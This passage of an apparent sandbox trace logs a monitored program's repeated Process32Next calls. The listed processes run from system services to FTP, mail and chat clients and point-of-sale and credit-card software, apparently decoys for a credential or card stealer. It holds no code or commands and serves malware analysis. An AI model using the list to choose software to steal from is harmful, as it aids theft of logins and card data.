hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.826] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.828] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.829] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0262.831] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0262.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0262.835] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0262.838] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0262.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0262.841] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0262.846] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0262.848] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0262.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0262.852] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0262.857] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0262.895] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0262.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.901] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.903] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0262.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0262.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0262.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0262.914] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0262.916] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0262.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0262.922] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0262.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0262.929] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0262.932] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0262.934] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0262.937] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0262.940] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0262.942] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0262.945] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0262.947] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0262.952] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0262.954] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0262.957] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0262.959] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0262.963] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0262.966] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0262.969] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0262.972] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0262.975] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0262.977] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0262.979] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0262.982] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0262.984] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0262.986] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0262.988] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0262.990] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0262.992] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0262.995] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0262.997] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0262.999] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0263.001] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0263.066] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0263.069] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0263.072] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0263.074] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0263.076] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0263.078] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0263.080] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0263.088] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0263.091] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0263.093] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0263.095] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0263.100] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0263.103] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0263.107] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0263.109] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0263.112] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0263.116] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0263.119] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0263.122] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0263.126] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0263.129] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0263.131] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0263.133] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0263.136] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0263.139] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 